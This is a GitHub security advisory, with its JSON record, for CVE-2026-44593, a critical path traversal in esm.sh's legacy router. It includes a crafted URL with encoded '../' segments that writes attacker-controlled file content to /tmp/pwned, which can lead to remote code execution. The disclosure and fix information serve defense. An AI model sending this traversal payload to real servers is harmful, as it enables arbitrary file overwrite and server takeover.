GHSA-3636-H3VX-6465
Vulnerability from github – Published: 2026-05-12 22:22 – Updated: 2026-05-12 22:22Impact
- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Exploit
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).
For a URL such as:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
the router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
Details
-
URL Construction
A crafted request is sent to the server:http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned -
Proxy to Legacy Server
The request is forwarded to:http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwnedwhich resolves to:http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md -
File Retrieval
The server fetchesfoo.mdfrom the GitHub repositoryhttps://github.com/<attacker>/exp. -
Path Normalisation & Storage
The storage path derived from the request is:legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedNormalising this path yields/tmp/pwned. The retrieved file content is then written to that location. -
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
Credit Discovery To
splitline (@_splitline_) from DEVCORE Research Team
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260508100112-1960055e1d53"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44593"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:22:39Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\n- Arbitrary File Write \u2013 An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE \u2013 By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server\u2019s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` \n(see \u003chttps://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291\u003e).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction** \n A crafted request is sent to the server:\n ```\n http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/\u003cattacker\u003e/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n ```\n\n2. **Proxy to Legacy Server** \n The request is forwarded to:\n ```\n http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n ```\n which resolves to:\n ```\n http://legacy.esm.sh/gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md\n ```\n\n3. **File Retrieval** \n The server fetches `foo.md` from the GitHub repository `https://github.com/\u003cattacker\u003e/exp`.\n\n4. **Path Normalisation \u0026 Storage** \n The storage path derived from the request is:\n ```\n legacy/v111/react@19.2.0/esnext/../../../gh/\u003cattacker\u003e/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n ```\n Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result** \n By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team",
"id": "GHSA-3636-h3vx-6465",
"modified": "2026-05-12T22:22:39Z",
"published": "2026-05-12T22:22:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137_3"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "esm.sh: Legacy Route Path Traversal Can Lead to RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.